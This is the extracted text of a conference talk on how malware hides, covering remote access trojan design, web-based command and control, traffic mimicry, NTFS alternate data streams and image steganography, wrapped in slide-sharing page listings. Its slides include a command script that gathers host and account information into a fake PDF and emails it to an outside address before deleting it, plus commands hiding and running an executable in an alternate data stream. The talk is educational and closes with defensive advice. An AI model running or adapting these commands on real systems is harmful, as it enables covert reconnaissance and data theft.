CodeStock14: Hiding in Plain Sight

•

0 gostou•4,932 visualizações

Rob Gillen

Presentation from

Tecnologia Design

HidinginPlainSight
Presentedby /RobGillen @argodev
Thisworkislicensedundera .
Thistalkandrelatedresourcesareavailableonline:
CreativeCommonsAttribution4.0InternationalLicense
https://github.com/argodev/talks/

Disclaimer
Thecontentofthispresentationrepresentsmypersonalviews
andthoughtsatthepresenttime.Ireservetherighttochange
myviewsandopinionsatanytime.Thiscontentisnotendorsed
by,orrepresentativeinanywayofmyemployernorisit
intendedtobeaviewintomyworkorareflectiononthetype
ofworkthatIormygroupperforms.Itissimplyahobbyand
personalinterestandshouldbeconsideredassuch.

Overview
RATDesign
Encryption
Command/Control(C2)
AntiVirus
Behavior

RATDesign
Exeisdroppedviainfectedpage
Querieswebpageforcommands
Performscommandsifnotdonepreviously
Periodicallypollsfornewcommands

Encryption
ComplexEncryptionistrivial
PBKDF–Scryptsequentialmemory-hardfunction
Manyiterations(>10K)
Longkey-lengths

EncryptionExample
Aboveconfigurationiscustom-hardwareresistant
Takesapproximately¼secondperguess

Command/Control
UseWeb2CApproach
Commandsare“issued”enmassevianormal,benignlooking
webpages
Commonports
LeveragesexistingHTML/serverconstructs

CommandText
ipconfig /all > %APPDATA%info.txt
net start >> %APPDATA%info.txt
tasklist /v >> %APPDATA%info.txt
net user >> %APPDATA%info.txt
net localgroup administrators >> %APPDATA%info.txt
netstat -ano >> %APPDATA%info.txt
net use >> %APPDATA%info.txt
copy %APPDATA%info.txt %APPDATA%output.pdf
del %APPDATA%info.txt
sendmail %APPDATA%output.pdf Status Update
“Jones, William E. wejones@yourorg.gov”
itebaffe-836@yopmail.com smtp.yourorg.gov
del %APPDATA%output.pdf

MimicUserBehavior
TrafficRates
Monitorincoming/outgoingnetworktrafficforXdays
ConfigurexfiltostaywithinX%of“normal”
C2
Exponential/randomizedstand-down
Onlycommduringperiodsofactivity

MimicUserBehavior
TargetURLs
Monitoroutgoingwebqueries/URLsforXdays
Usesimilardomainnamesformalicioustraffic
Appendsimilar/samequerystringstomaliciousrequests

HidinginLogs
v-client-5b.sjc.dropbox.com
snt-re3-9a.sjc.dropbox.com
yn-in-f125.1e100.net
l1.ycs.vip.dcb.yahoo.com
snt-re3-9a.sjc.drpbox.com
ip-69-31-29-228.nlayer.net
a23-47-20-211.deploy.static.akamaitechnologies.com
l3.ycs.vip.dcb.yahoo.com
ir2.fp.vip.bf1.yahoo.com
www.nbcnews.com.edgesuite.net
wac.946A.edgecastcdn.net
a2.twimg.com

OtherHidingTechniques
OfficeFilecontentembedding
Creativelocation
AlternateDataStreams
LeastSignificantBit
NetworkProtocolManipulation

AlternateDataStreams
FeatureofNTFSsinceNT3.5.1
Usedformetadataandcompatibilitywithotherfilesystems

SoWhat?
#notepad pcast-nitrd-report-2010.pdf:secret.txt

Whataboutthis?
#type evil.exe > notepad.exe:evil.exe
#start notepad.exe:evil.exe

CrudeImageStego:LSB
LeastSignificantBit–alteritandencodemessageacross
LSBthroughvariousbytes
Visuallyimperceptible
Computationallychallengingtodetect
Encryptionalsoanoption

CarrierImage
ImageData:
Size:2.1MB
Dimensions:
3500x2343px
Resolution:300dpi
BitDepth:24
~8Megapixel
“Secret”Message:
Welcome!Remember,
thingsaren’talways
whattheyseem.

NextSteps
Knowwhatyoucanandcan’tsee
Considerimplicationsofyourmonitoringstrategy
Behavior*must*playarole

Questions/Contact
RobGillen
rob@gillenfamily.net
http://rob.gillenfamily.net
@argodev
Thistalkandrelatedresourcesareavailableonline:
https://github.com/argodev/talks/

Mais conteúdo relacionado

Semelhante a CodeStock14: Hiding in Plain Sight

Github github-githubfusion2011

Trends in Enterprise DevOps (August 2020)Daniel Hurst

SOA.2020Diego Pacheco

Von JavaEE auf Microservice in 6 Monaten - The Good, the Bad, and the wtfs...André Goliath

Blue team reboot - HackFest Haydn Johnson

API-First Design and DjangoKlaus Peter Laube

10 Reasons Your Software Sucks - Election 2012 EditionCaleb Jenkins

Dirigible @ SkyscannerJordan Pavlov

X-celerate 2019: Iterating fast with the MERN StackHaufe-Lexware GmbH & Co KG

CloudLand 2023: Rock, Paper, Scissors Cloud Competition - Go vs. JavaJan Stamer

[Intel Android Webinar Series] Esploriamo Intel XDK, uno strumento incredibileBeMyApp

Jaap Groeneveld - Software Engineering PrinciplesJaapGroeneveld2

Gauravsing sisodiyaGauravsingh Sisodiya

NoOps for noobs; why i think Devs do not need OpsGeert van der Cruijsen

What Web Framework To Use?Kasra Khosravi

apidays Australia 2022 - Lessons from doing EdgeDevOps (GitOps) in the bush, ...apidays

AI: Your Personal InternJoe Brinkman

Teaching Elephants to Dance (and Fly!) A Developer's Journey to Digital Trans...Burr Sutter

Notes (2012-06-08)Chris Pitt

Semelhante a CodeStock14: Hiding in Plain Sight (20)

Github github-github

Trends in Enterprise DevOps (August 2020)

SOA.2020

Von JavaEE auf Microservice in 6 Monaten - The Good, the Bad, and the wtfs...

Blue team reboot - HackFest

API-First Design and Django

10 Reasons Your Software Sucks - Election 2012 Edition

Dirigible @ Skyscanner

X-celerate 2019: Iterating fast with the MERN Stack

CloudLand 2023: Rock, Paper, Scissors Cloud Competition - Go vs. Java

[Intel Android Webinar Series] Esploriamo Intel XDK, uno strumento incredibile

Jaap Groeneveld - Software Engineering Principles

Gauravsing sisodiya

NoOps for noobs; why i think Devs do not need Ops

What Web Framework To Use?

apidays Australia 2022 - Lessons from doing EdgeDevOps (GitOps) in the bush, ...

AI: Your Personal Intern

Teaching Elephants to Dance (and Fly!) A Developer's Journey to Digital Trans...

Notes (2012-06-08)

Mais de Rob Gillen

How well do you know your runtimeRob Gillen

Software defined radio and the hackerRob Gillen

So whats in a passwordRob Gillen

Hiding in plain sightRob Gillen

DevLink - WiFu: You think your wireless is secure?Rob Gillen

You think your WiFi is safe?Rob Gillen

Anatomy of a Buffer Overflow AttackRob Gillen

Intro to GPGPU with CUDA (DevLink)Rob Gillen

AWS vs. AzureRob Gillen

A Comparison of AWS and Azure - Part2Rob Gillen

A Comparison of AWS and Azure - Part 1Rob Gillen

Intro to GPGPU Programming with CudaRob Gillen

Scaling Document Clustering in the CloudRob Gillen

Hands On with Amazon Web Services (StirTrek)Rob Gillen

Windows Azure: Lessons From The FieldRob Gillen

Amazon Web Services for the .NET DeveloperRob Gillen

05561 Xfer Research 02Rob Gillen

05561 Xfer Research 01Rob Gillen

05561 Xfer Consumer 01Rob Gillen

Cloud Storage Upload Tests 02Rob Gillen

Mais de Rob Gillen (20)

How well do you know your runtime

Software defined radio and the hacker

So whats in a password

Hiding in plain sight

DevLink - WiFu: You think your wireless is secure?

You think your WiFi is safe?

Anatomy of a Buffer Overflow Attack

Intro to GPGPU with CUDA (DevLink)

AWS vs. Azure

A Comparison of AWS and Azure - Part2

A Comparison of AWS and Azure - Part 1

Intro to GPGPU Programming with Cuda

Scaling Document Clustering in the Cloud

Hands On with Amazon Web Services (StirTrek)

Windows Azure: Lessons From The Field

Amazon Web Services for the .NET Developer

05561 Xfer Research 02

05561 Xfer Research 01

05561 Xfer Consumer 01

Cloud Storage Upload Tests 02

Último

UiPath Community: Communication Mining from Zero to HeroUiPathCommunity

Connecting the Dots for Information Discovery.pdfNeo4j

Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Mark Goldstein

React Native vs Ionic - The Best Mobile App FrameworkPixlogix Infotech

Zeshan Sattar- Assessing the skill requirements and industry expectations for...itnewsafrica

Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada

QCon London: Mastering long-running processes in modern architecturesBernd Ruecker

Glenn Lazarus- Why Your Observability Strategy Needs Security Observabilityitnewsafrica

[Webinar] SpiraTest - Setting New Standards in Quality AssuranceInflectra

Top 10 Hubspot Development Companies in 2024TopCSSGallery

Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentPim van der Noll

So einfach geht modernes Roaming fuer Notes und Nomad.pdfpanagenda

Modern Roaming for Notes and Nomad – Cheaper Faster Better Strongerpanagenda

A Framework for Development in the AI AgeCprime

Generative AI - Gitex v1Generative AI - Gitex v1.pptxfnnc6jmgwh

How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesThousandEyes

2024 April Patch TuesdayIvanti

Abdul Kader Baba- Managing Cybersecurity Risks and Compliance Requirements i...itnewsafrica

Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3

Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integrationmarketing932765

CodeStock14: Hiding in Plain Sight

1. HidinginPlainSight Presentedby /RobGillen @argodev Thisworkislicensedundera . Thistalkandrelatedresourcesareavailableonline: CreativeCommonsAttribution4.0InternationalLicense https://github.com/argodev/talks/

2. Disclaimer Thecontentofthispresentationrepresentsmypersonalviews andthoughtsatthepresenttime.Ireservetherighttochange myviewsandopinionsatanytime.Thiscontentisnotendorsed by,orrepresentativeinanywayofmyemployernorisit intendedtobeaviewintomyworkorareflectiononthetype ofworkthatIormygroupperforms.Itissimplyahobbyand personalinterestandshouldbeconsideredassuch.

4. HTDCS HelpdeskTicketDrivenCyberSecurity

7. Overview RATDesign Encryption Command/Control(C2) AntiVirus Behavior

8. RATDesign Exeisdroppedviainfectedpage Querieswebpageforcommands Performscommandsifnotdonepreviously Periodicallypollsfornewcommands

9. Encryption ComplexEncryptionistrivial PBKDF–Scryptsequentialmemory-hardfunction Manyiterations(>10K) Longkey-lengths

10. EncryptionExample Aboveconfigurationiscustom-hardwareresistant Takesapproximately¼secondperguess

11. Command/Control UseWeb2CApproach Commandsare“issued”enmassevianormal,benignlooking webpages Commonports LeveragesexistingHTML/serverconstructs

12.

13.

14.

15. CommandText ipconfig /all > %APPDATA%info.txt net start >> %APPDATA%info.txt tasklist /v >> %APPDATA%info.txt net user >> %APPDATA%info.txt net localgroup administrators >> %APPDATA%info.txt netstat -ano >> %APPDATA%info.txt net use >> %APPDATA%info.txt copy %APPDATA%info.txt %APPDATA%output.pdf del %APPDATA%info.txt sendmail %APPDATA%output.pdf Status Update “Jones, William E. wejones@yourorg.gov” itebaffe-836@yopmail.com smtp.yourorg.gov del %APPDATA%output.pdf

16. MimicUserBehavior TrafficRates Monitorincoming/outgoingnetworktrafficforXdays ConfigurexfiltostaywithinX%of“normal” C2 Exponential/randomizedstand-down Onlycommduringperiodsofactivity

17. MimicUserBehavior TargetURLs Monitoroutgoingwebqueries/URLsforXdays Usesimilardomainnamesformalicioustraffic Appendsimilar/samequerystringstomaliciousrequests

18. HidinginLogs v-client-5b.sjc.dropbox.com snt-re3-9a.sjc.dropbox.com yn-in-f125.1e100.net l1.ycs.vip.dcb.yahoo.com snt-re3-9a.sjc.drpbox.com ip-69-31-29-228.nlayer.net a23-47-20-211.deploy.static.akamaitechnologies.com l3.ycs.vip.dcb.yahoo.com ir2.fp.vip.bf1.yahoo.com www.nbcnews.com.edgesuite.net wac.946A.edgecastcdn.net a2.twimg.com

19. OtherHidingTechniques OfficeFilecontentembedding Creativelocation AlternateDataStreams LeastSignificantBit NetworkProtocolManipulation

20.

21.

22.

23.

24.

25.

26. CreativeFileLocations

27. AlternateDataStreams FeatureofNTFSsinceNT3.5.1 Usedformetadataandcompatibilitywithotherfilesystems